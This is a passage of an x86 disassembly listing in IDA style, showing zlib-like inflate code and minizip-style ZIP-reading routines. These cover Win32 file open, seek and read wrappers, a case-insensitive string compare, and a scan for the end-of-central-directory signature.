; CODE XREF: sub_42DEC5+56j ; DATA XREF: TEUm:0042E579o mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jnz short loc_42E432 mov eax, [ebp+var_8] jmp loc_42E54D ; --------------------------------------------------------------------------- loc_42E432: ; CODE XREF: sub_42DEC5+563j mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] sub eax, 1 mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] mov eax, [edx+8] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+8], eax mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [ebp+arg_0] mov edx, [ecx] xor ecx, ecx mov cl, [edx] shl ecx, 8 mov edx, [eax+8] add edx, ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov [ecx+8], edx mov edx, [ebp+arg_0] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx], eax mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 0Bh loc_42E48F: ; CODE XREF: sub_42DEC5+56j ; DATA XREF: TEUm:0042E57Do mov ecx, [ebp+arg_0] cmp dword ptr [ecx+4], 0 jnz short loc_42E4A0 mov eax, [ebp+var_8] jmp loc_42E54D ; --------------------------------------------------------------------------- loc_42E4A0: ; CODE XREF: sub_42DEC5+5D1j mov edx, [ebp+arg_4] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_0] mov [edx+4], ecx mov eax, [ebp+arg_0] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ebp+arg_0] mov eax, [edx] xor edx, edx mov dl, [eax] mov eax, [ecx+8] add eax, edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov [edx+8], eax mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [ecx+4] cmp ecx, [eax+8] jz short loc_42E527 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 0Dh mov ecx, [ebp+arg_0] mov dword ptr [ecx+18h], offset aIncorrectDataC ; "incorrect data check" mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax+4], 5 jmp short loc_42E548 ; --------------------------------------------------------------------------- loc_42E527: ; CODE XREF: sub_42DEC5+63Bj mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx], 0Ch loc_42E533: ; CODE XREF: sub_42DEC5+56j ; DATA XREF: TEUm:0042E581o mov eax, 1 jmp short loc_42E54D ; --------------------------------------------------------------------------- loc_42E53A: ; CODE XREF: sub_42DEC5+56j ; DATA XREF: TEUm:0042E585o mov eax, 0FFFFFFFDh jmp short loc_42E54D ; --------------------------------------------------------------------------- loc_42E541: ; CODE XREF: sub_42DEC5+4Dj mov eax, 0FFFFFFFEh jmp short loc_42E54D ; --------------------------------------------------------------------------- loc_42E548: ; CODE XREF: sub_42DEC5+E5j ; sub_42DEC5+127j ... jmp loc_42DF03 ; --------------------------------------------------------------------------- loc_42E54D: ; CODE XREF: sub_42DEC5+22j ; sub_42DEC5+69j ... mov esp, ebp pop ebp retn sub_42DEC5 endp ; --------------------------------------------------------------------------- off_42E551 dd offset loc_42DF22 ; DATA XREF: sub_42DEC5+56r dd offset loc_42DFFD dd offset loc_42E0B6 dd offset loc_42E119 dd offset loc_42E187 dd offset loc_42E1F5 dd offset loc_42E279 dd offset loc_42E2A6 dd offset loc_42E350 dd offset loc_42E3B3 dd offset loc_42E421 dd offset loc_42E48F dd offset loc_42E533 dd offset loc_42E53A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E589 proc near ; CODE XREF: sub_43012E+7Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch cmp [ebp+arg_8], 1 jz short loc_42E5B1 cmp [ebp+arg_8], 2 jz short loc_42E5B1 cmp [ebp+arg_8], 3 jz short loc_42E5B1 mov eax, [ebp+arg_C] mov dword ptr [eax], 10000h xor eax, eax jmp loc_42E717 ; --------------------------------------------------------------------------- loc_42E5B1: ; CODE XREF: sub_42E589+Aj ; sub_42E589+10j ... mov [ebp+var_8], 0 mov byte ptr [ebp+var_4], 0 mov ecx, [ebp+arg_C] mov dword ptr [ecx], 0 cmp [ebp+arg_8], 1 jz short loc_42E5D5 cmp [ebp+arg_8], 2 jnz loc_42E66C loc_42E5D5: ; CODE XREF: sub_42E589+40j cmp [ebp+arg_8], 1 jnz short loc_42E61E mov edx, [ebp+arg_0] mov [ebp+var_18], edx push 2 push 0 push 0 lea eax, [ebp+var_8] push eax call dword_433098 ; GetCurrentProcess push eax mov ecx, [ebp+var_18] push ecx call dword_433098 ; GetCurrentProcess push eax call dword_43309C ; DuplicateHandle mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_42E61C mov edx, [ebp+arg_C] mov dword ptr [edx], 100h xor eax, eax jmp loc_42E717 ; --------------------------------------------------------------------------- loc_42E61C: ; CODE XREF: sub_42E589+81j jmp short loc_42E653 ; --------------------------------------------------------------------------- loc_42E61E: ; CODE XREF: sub_42E589+50j push 0 push 80h push 3 push 0 push 1 push 80000000h mov eax, [ebp+arg_0] push eax call dword_433018 ; CreateFileA mov [ebp+var_8], eax cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_42E653 mov ecx, [ebp+arg_C] mov dword ptr [ecx], 200h xor eax, eax jmp loc_42E717 ; --------------------------------------------------------------------------- loc_42E653: ; CODE XREF: sub_42E589:loc_42E61Cj ; sub_42E589+B8j mov edx, [ebp+var_8] push edx call dword_4330A0 ; GetFileType mov [ebp+var_10], eax xor eax, eax cmp [ebp+var_10], 1 setz al mov byte ptr [ebp+var_4], al loc_42E66C: ; CODE XREF: sub_42E589+46j push 1Ch call sub_431784 add esp, 4 mov [ebp+var_1C], eax mov ecx, [ebp+var_1C] mov [ebp+var_C], ecx cmp [ebp+arg_8], 1 jz short loc_42E68B cmp [ebp+arg_8], 2 jnz short loc_42E6D8 loc_42E68B: ; CODE XREF: sub_42E589+FAj mov edx, [ebp+var_C] mov byte ptr [edx], 1 mov eax, [ebp+var_C] mov cl, byte ptr [ebp+var_4] mov [eax+1], cl mov edx, [ebp+var_C] mov eax, [ebp+var_8] mov [edx+4], eax mov ecx, [ebp+var_C] mov byte ptr [ecx+8], 0 mov edx, [ebp+var_C] mov dword ptr [edx+0Ch], 0 mov eax, [ebp+var_4] and eax, 0FFh test eax, eax jz short loc_42E6D6 push 1 push 0 push 0 mov ecx, [ebp+var_8] push ecx call dword_4330A4 ; SetFilePointer mov edx, [ebp+var_C] mov [edx+0Ch], eax loc_42E6D6: ; CODE XREF: sub_42E589+135j jmp short loc_42E70B ; --------------------------------------------------------------------------- loc_42E6D8: ; CODE XREF: sub_42E589+100j mov eax, [ebp+var_C] mov byte ptr [eax], 0 mov ecx, [ebp+var_C] mov byte ptr [ecx+1], 1 mov edx, [ebp+var_C] mov eax, [ebp+arg_0] mov [edx+10h], eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_4] mov [ecx+14h], edx mov eax, [ebp+var_C] mov dword ptr [eax+18h], 0 mov ecx, [ebp+var_C] mov dword ptr [ecx+0Ch], 0 loc_42E70B: ; CODE XREF: sub_42E589:loc_42E6D6j mov edx, [ebp+arg_C] mov dword ptr [edx], 0 mov eax, [ebp+var_C] loc_42E717: ; CODE XREF: sub_42E589+23j ; sub_42E589+8Ej ... mov esp, ebp pop ebp retn sub_42E589 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E71B proc near ; CODE XREF: sub_42ED22+28p ; sub_42ED22+19Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_42E72A or eax, 0FFFFFFFFh jmp short loc_42E756 ; --------------------------------------------------------------------------- loc_42E72A: ; CODE XREF: sub_42E71B+8j mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_42E742 mov edx, [ebp+arg_0] mov eax, [edx+4] push eax call dword_433020 ; CloseHandle loc_42E742: ; CODE XREF: sub_42E71B+18j mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] push edx call sub_43177E add esp, 4 xor eax, eax loc_42E756: ; CODE XREF: sub_42E71B+Dj mov esp, ebp pop ebp retn sub_42E71B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E75A proc near ; CODE XREF: sub_42E94E+39p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_42E77B mov edx, [ebp+arg_0] xor eax, eax mov al, [edx+8] test eax, eax jz short loc_42E77B mov eax, 1 jmp short loc_42E77D ; --------------------------------------------------------------------------- loc_42E77B: ; CODE XREF: sub_42E75A+Cj ; sub_42E75A+18j xor eax, eax loc_42E77D: ; CODE XREF: sub_42E75A+1Fj pop ebp retn sub_42E75A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E77F proc near ; CODE XREF: sub_42EB91+25p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_42E7B4 mov edx, [ebp+arg_0] xor eax, eax mov al, [edx+1] test eax, eax jz short loc_42E7B4 push 1 push 0 push 0 mov ecx, [ebp+arg_0] mov edx, [ecx+4] push edx call dword_4330A4 ; SetFilePointer mov ecx, [ebp+arg_0] sub eax, [ecx+0Ch] jmp short loc_42E7C9 ; --------------------------------------------------------------------------- loc_42E7B4: ; CODE XREF: sub_42E77F+Cj ; sub_42E77F+18j mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] test eax, eax jz short loc_42E7C3 xor eax, eax jmp short loc_42E7C9 ; --------------------------------------------------------------------------- loc_42E7C3: ; CODE XREF: sub_42E77F+3Ej mov ecx, [ebp+arg_0] mov eax, [ecx+18h] loc_42E7C9: ; CODE XREF: sub_42E77F+33j ; sub_42E77F+42j pop ebp retn sub_42E77F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E7CB proc near ; CODE XREF: sub_42EB91+Ep ; sub_42EB91+D7p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_42E84D mov edx, [ebp+arg_0] xor eax, eax mov al, [edx+1] test eax, eax jz short loc_42E84D cmp [ebp+arg_8], 0 jnz short loc_42E808 push 0 push 0 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] add edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call dword_4330A4 ; SetFilePointer jmp short loc_42E849 ; --------------------------------------------------------------------------- loc_42E808: ; CODE XREF: sub_42E7CB+1Ej cmp [ebp+arg_8], 1 jnz short loc_42E825 push 1 push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call dword_4330A4 ; SetFilePointer jmp short loc_42E849 ; --------------------------------------------------------------------------- loc_42E825: ; CODE XREF: sub_42E7CB+41j cmp [ebp+arg_8], 2 jnz short loc_42E842 push 2 push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call dword_4330A4 ; SetFilePointer jmp short loc_42E849 ; --------------------------------------------------------------------------- loc_42E842: ; CODE XREF: sub_42E7CB+5Ej mov eax, 13h jmp short loc_42E89E ; --------------------------------------------------------------------------- loc_42E849: ; CODE XREF: sub_42E7CB+3Bj ; sub_42E7CB+58j ... xor eax, eax jmp short loc_42E89E ; --------------------------------------------------------------------------- loc_42E84D: ; CODE XREF: sub_42E7CB+Cj ; sub_42E7CB+18j mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] test eax, eax jz short loc_42E85F mov eax, 1Dh jmp short loc_42E89E ; --------------------------------------------------------------------------- loc_42E85F: ; CODE XREF: sub_42E7CB+8Bj cmp [ebp+arg_8], 0 jnz short loc_42E870 mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov [ecx+18h], edx jmp short loc_42E89C ; --------------------------------------------------------------------------- loc_42E870: ; CODE XREF: sub_42E7CB+98j cmp [ebp+arg_8], 1 jnz short loc_42E887 mov eax, [ebp+arg_0] mov ecx, [eax+18h] add ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov [edx+18h], ecx jmp short loc_42E89C ; --------------------------------------------------------------------------- loc_42E887: ; CODE XREF: sub_42E7CB+A9j cmp [ebp+arg_8], 2 jnz short loc_42E89C mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov [edx+18h], ecx loc_42E89C: ; CODE XREF: sub_42E7CB+A3j ; sub_42E7CB+BAj ... xor eax, eax loc_42E89E: ; CODE XREF: sub_42E7CB+7Cj ; sub_42E7CB+80j ... pop ebp retn sub_42E7CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E8A0 proc near ; CODE XREF: sub_42E94E+12p ; sub_42EB91+F6p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] imul eax, [ebp+arg_8] mov [ebp+var_8], eax mov ecx, [ebp+arg_C] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_42E8F0 push 0 lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_C] mov ecx, [eax+4] push ecx call dword_43301C ; ReadFile mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_42E8E6 mov edx, [ebp+arg_C] mov byte ptr [edx+8], 1 loc_42E8E6: ; CODE XREF: sub_42E8A0+3Dj mov eax, [ebp+var_10] xor edx, edx div [ebp+arg_4] jmp short loc_42E94A ; --------------------------------------------------------------------------- loc_42E8F0: ; CODE XREF: sub_42E8A0+19j mov eax, [ebp+arg_C] mov ecx, [eax+18h] add ecx, [ebp+var_8] mov edx, [ebp+arg_C] cmp ecx, [edx+14h] jbe short loc_42E910 mov eax, [ebp+arg_C] mov ecx, [ebp+arg_C] mov edx, [eax+14h] sub edx, [ecx+18h] mov [ebp+var_8], edx loc_42E910: ; CODE XREF: sub_42E8A0+5Fj mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_C] mov edx, [ecx+10h] mov eax, [ebp+arg_C] add edx, [eax+18h] push edx mov ecx, [ebp+arg_0] push ecx call sub_4318C4 ; memcpy add esp, 0Ch mov edx, [ebp+var_8] mov [ebp+var_4], edx mov eax, [ebp+arg_C] mov ecx, [eax+18h] add ecx, [ebp+var_4] mov edx, [ebp+arg_C] mov [edx+18h], ecx mov eax, [ebp+var_4] xor edx, edx div [ebp+arg_4] loc_42E94A: ; CODE XREF: sub_42E8A0+4Ej mov esp, ebp pop ebp retn sub_42E8A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E94E proc near ; CODE XREF: sub_42E99E+Ep ; sub_42E99E+2Dp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] push eax push 1 push 1 lea ecx, [ebp+var_8] push ecx call sub_42E8A0 add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 1 jnz short loc_42E983 mov edx, [ebp+var_8] and edx, 0FFh mov eax, [ebp+arg_4] mov [eax], edx xor eax, eax jmp short loc_42E99A ; --------------------------------------------------------------------------- loc_42E983: ; CODE XREF: sub_42E94E+21j mov ecx, [ebp+arg_0] push ecx call sub_42E75A add esp, 4 test eax, eax jz short loc_42E998 or eax, 0FFFFFFFFh jmp short loc_42E99A ; --------------------------------------------------------------------------- loc_42E998: ; CODE XREF: sub_42E94E+43j xor eax, eax loc_42E99A: ; CODE XREF: sub_42E94E+33j ; sub_42E94E+48j mov esp, ebp pop ebp retn sub_42E94E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E99E proc near ; CODE XREF: sub_42ED22+9Ap ; sub_42ED22+B5p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch lea eax, [ebp+var_C] push eax mov ecx, [ebp+arg_0] push ecx call sub_42E94E add esp, 8 mov [ebp+var_4], eax mov edx, [ebp+var_C] mov [ebp+var_8], edx cmp [ebp+var_4], 0 jnz short loc_42E9D6 lea eax, [ebp+var_C] push eax mov ecx, [ebp+arg_0] push ecx call sub_42E94E add esp, 8 mov [ebp+var_4], eax loc_42E9D6: ; CODE XREF: sub_42E99E+23j mov edx, [ebp+var_C] shl edx, 8 mov eax, [ebp+var_8] add eax, edx mov [ebp+var_8], eax cmp [ebp+var_4], 0 jnz short loc_42E9F4 mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx], edx jmp short loc_42E9FD ; --------------------------------------------------------------------------- loc_42E9F4: ; CODE XREF: sub_42E99E+4Aj mov eax, [ebp+arg_4] mov dword ptr [eax], 0 loc_42E9FD: ; CODE XREF: sub_42E99E+54j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42E99E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EA04 proc near ; CODE XREF: sub_42ED22+7Fp ; sub_42ED22+127p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch lea eax, [ebp+var_C] push eax mov ecx, [ebp+arg_0] push ecx call sub_42E94E add esp, 8 mov [ebp+var_4], eax mov edx, [ebp+var_C] mov [ebp+var_8], edx cmp [ebp+var_4], 0 jnz short loc_42EA3C lea eax, [ebp+var_C] push eax mov ecx, [ebp+arg_0] push ecx call sub_42E94E add esp, 8 mov [ebp+var_4], eax loc_42EA3C: ; CODE XREF: sub_42EA04+23j mov edx, [ebp+var_C] shl edx, 8 mov eax, [ebp+var_8] add eax, edx mov [ebp+var_8], eax cmp [ebp+var_4], 0 jnz short loc_42EA63 lea ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_0] push edx call sub_42E94E add esp, 8 mov [ebp+var_4], eax loc_42EA63: ; CODE XREF: sub_42EA04+4Aj mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_8] add ecx, eax mov [ebp+var_8], ecx cmp [ebp+var_4], 0 jnz short loc_42EA8A lea edx, [ebp+var_C] push edx mov eax, [ebp+arg_0] push eax call sub_42E94E add esp, 8 mov [ebp+var_4], eax loc_42EA8A: ; CODE XREF: sub_42EA04+71j mov ecx, [ebp+var_C] shl ecx, 18h mov edx, [ebp+var_8] add edx, ecx mov [ebp+var_8], edx cmp [ebp+var_4], 0 jnz short loc_42EAA8 mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [eax], ecx jmp short loc_42EAB1 ; --------------------------------------------------------------------------- loc_42EAA8: ; CODE XREF: sub_42EA04+98j mov edx, [ebp+arg_4] mov dword ptr [edx], 0 loc_42EAB1: ; CODE XREF: sub_42EA04+A2j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42EA04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EAB8 proc near ; CODE XREF: sub_42EB64+23p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 loc_42EABE: ; CODE XREF: sub_42EAB8:loc_42EB5Bj mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_4], cl mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_4] mov cl, [eax] mov [ebp+var_8], cl mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx movsx eax, [ebp+var_4] cmp eax, 61h jl short loc_42EAFB movsx ecx, [ebp+var_4] cmp ecx, 7Ah jg short loc_42EAFB mov dl, [ebp+var_4] sub dl, 20h mov [ebp+var_4], dl loc_42EAFB: ; CODE XREF: sub_42EAB8+2Fj ; sub_42EAB8+38j movsx eax, [ebp+var_8] cmp eax, 61h jl short loc_42EB16 movsx ecx, [ebp+var_8] cmp ecx, 7Ah jg short loc_42EB16 mov dl, [ebp+var_8] sub dl, 20h mov [ebp+var_8], dl loc_42EB16: ; CODE XREF: sub_42EAB8+4Aj ; sub_42EAB8+53j movsx eax, [ebp+var_4] test eax, eax jnz short loc_42EB28 movsx eax, [ebp+var_8] neg eax sbb eax, eax jmp short loc_42EB60 ; --------------------------------------------------------------------------- loc_42EB28: ; CODE XREF: sub_42EAB8+64j movsx ecx, [ebp+var_8] test ecx, ecx jnz short loc_42EB37 mov eax, 1 jmp short loc_42EB60 ; --------------------------------------------------------------------------- loc_42EB37: ; CODE XREF: sub_42EAB8+76j movsx edx, [ebp+var_4] movsx eax, [ebp+var_8] cmp edx, eax jge short loc_42EB48 or eax, 0FFFFFFFFh jmp short loc_42EB60 ; --------------------------------------------------------------------------- loc_42EB48: ; CODE XREF: sub_42EAB8+89j movsx ecx, [ebp+var_4] movsx edx, [ebp+var_8] cmp ecx, edx jle short loc_42EB5B mov eax, 1 jmp short loc_42EB60 ; --------------------------------------------------------------------------- loc_42EB5B: ; CODE XREF: sub_42EAB8+9Aj jmp loc_42EABE ; --------------------------------------------------------------------------- loc_42EB60: ; CODE XREF: sub_42EAB8+6Ej ; sub_42EAB8+7Dj ... mov esp, ebp pop ebp retn sub_42EAB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EB64 proc near ; CODE XREF: sub_42F59A+D5p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 1 jnz short loc_42EB7F mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_431914 ; strcmp add esp, 8 jmp short loc_42EB8F ; --------------------------------------------------------------------------- loc_42EB7F: ; CODE XREF: sub_42EB64+7j mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42EAB8 add esp, 8 loc_42EB8F: ; CODE XREF: sub_42EB64+19j pop ebp retn sub_42EB64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EB91 proc near ; CODE XREF: sub_42ED22+42p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24h push 2 push 0 mov eax, [ebp+arg_0] push eax call sub_42E7CB add esp, 0Ch test eax, eax jz short loc_42EBB2 xor eax, eax jmp loc_42ED1E ; --------------------------------------------------------------------------- loc_42EBB2: ; CODE XREF: sub_42EB91+18j mov ecx, [ebp+arg_0] push ecx call sub_42E77F add esp, 4 mov [ebp+var_8], eax mov [ebp+var_14], 0FFFFh mov edx, [ebp+var_14] cmp edx, [ebp+var_8] jbe short loc_42EBD6 mov eax, [ebp+var_8] mov [ebp+var_14], eax loc_42EBD6: ; CODE XREF: sub_42EB91+3Dj push 404h call dword_4331C8 ; malloc add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_42EBF4 xor eax, eax jmp loc_42ED1E ; --------------------------------------------------------------------------- loc_42EBF4: ; CODE XREF: sub_42EB91+5Aj mov [ebp+var_10], 0 mov [ebp+var_C], 4 loc_42EC02: ; CODE XREF: sub_42EB91:loc_42ED03j mov ecx, [ebp+var_C] cmp ecx, [ebp+var_14] jnb loc_42ED08 mov edx, [ebp+var_C] add edx, 400h cmp edx, [ebp+var_14] jbe short loc_42EC24 mov eax, [ebp+var_14] mov [ebp+var_C], eax jmp short loc_42EC30 ; --------------------------------------------------------------------------- loc_42EC24: ; CODE XREF: sub_42EB91+89j mov ecx, [ebp+var_C] add ecx, 400h mov [ebp+var_C], ecx loc_42EC30: ; CODE XREF: sub_42EB91+91j mov edx, [ebp+var_8] sub edx, [ebp+var_C] mov [ebp+var_20], edx mov eax, [ebp+var_8] sub eax, [ebp+var_20] cmp eax, 404h jbe short loc_42EC4F mov [ebp+var_24], 404h jmp short loc_42EC58 ; --------------------------------------------------------------------------- loc_42EC4F: ; CODE XREF: sub_42EB91+B3j mov ecx, [ebp+var_8] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx loc_42EC58: ; CODE XREF: sub_42EB91+BCj mov edx, [ebp+var_24] mov [ebp+var_18], edx push 0 mov eax, [ebp+var_20] push eax mov ecx, [ebp+arg_0] push ecx call sub_42E7CB add esp, 0Ch test eax, eax jz short loc_42EC79 jmp loc_42ED08 ; --------------------------------------------------------------------------- loc_42EC79: ; CODE XREF: sub_42EB91+E1j mov edx, [ebp+arg_0] push edx push 1 mov eax, [ebp+var_18] push eax mov ecx, [ebp+var_4] push ecx call sub_42E8A0 add esp, 10h cmp eax, 1 jz short loc_42EC96 jmp short loc_42ED08 ; --------------------------------------------------------------------------- loc_42EC96: ; CODE XREF: sub_42EB91+101j mov edx, [ebp+var_18] sub edx, 3 mov [ebp+var_1C], edx loc_42EC9F: ; CODE XREF: sub_42EB91:loc_42ECF9j mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jle short loc_42ECFB mov edx, [ebp+var_4] add edx, [ebp+var_1C] xor eax, eax mov al, [edx] cmp eax, 50h jnz short loc_42ECF9 mov ecx, [ebp+var_4] add ecx, [ebp+var_1C] xor edx, edx mov dl, [ecx+1] cmp edx, 4Bh jnz short loc_42ECF9 mov eax, [ebp+var_4] add eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax+2] cmp ecx, 5 jnz short loc_42ECF9 mov edx, [ebp+var_4] add edx, [ebp+var_1C] xor eax, eax mov al, [edx+3] cmp eax, 6 jnz short loc_42ECF9 mov ecx, [ebp+var_20] add ecx, [ebp+var_1C] mov [ebp+var_10], ecx jmp short loc_42ECFB ; --------------------------------------------------------------------------- loc_42ECF9: ; CODE XREF: sub_42EB91+12Bj ; sub_42EB91+13Bj ... jmp short loc_42EC9F ; --------------------------------------------------------------------------- loc_42ECFB: ; CODE XREF: sub_42EB91+11Cj ; sub_42EB91+166j cmp [ebp+var_10], 0 jz short loc_42ED03 jmp short loc_42ED08 ; --------------------------------------------------------------------------- loc_42ED03: ; CODE XREF: sub_42EB91+16Ej jmp loc_42EC02 ; --------------------------------------------------------------------------- loc_42ED08: ; CODE XREF: sub_42EB91+77j ; sub_42EB91+E3j ... cmp [ebp+var_4], 0 jz short loc_42ED1B mov edx, [ebp+var_4] push edx call dword_4331D4 ; free add esp, 4 loc_42ED1B: ; CODE XREF: sub_42EB91+17Bj mov eax, [ebp+var_10] loc_42ED1E: ; CODE XREF: sub_42EB91+1Cj ; sub_42EB91+5Ej mov esp, ebp pop ebp retn sub_42EB91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42ED22 proc near ; CODE XREF: sub_43012E+99p var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = byte ptr -94h var_90 = dword ptr -90h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 9Ch push esi push edi cmp [ebp+arg_0], 0 jnz short loc_42ED3A xor eax, eax jmp loc_42EF32 ; --------------------------------------------------------------------------- loc_42ED3A: ; CODE XREF: sub_42ED22+Fj movsx eax, byte_434AA4 cmp eax, 20h jz short loc_42ED59 mov ecx, [ebp+arg_0] push ecx call sub_42E71B add esp, 4 xor eax, eax jmp loc_42EF32 ; --------------------------------------------------------------------------- loc_42ED59: ; CODE XREF: sub_42ED22+22j mov [ebp+var_8], 0 mov edx, [ebp+arg_0] push edx call sub_42EB91 add esp, 4 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_42ED7C mov [ebp+var_8], 0FFFFFFFFh loc_42ED7C: ; CODE XREF: sub_42ED22+51j push 0 mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_0] push ecx call sub_42E7CB add esp, 0Ch test eax, eax jz short loc_42ED99 mov [ebp+var_8], 0FFFFFFFFh loc_42ED99: ; CODE XREF: sub_42ED22+6Ej lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] push eax call sub_42EA04 add esp, 8 test eax, eax jz short 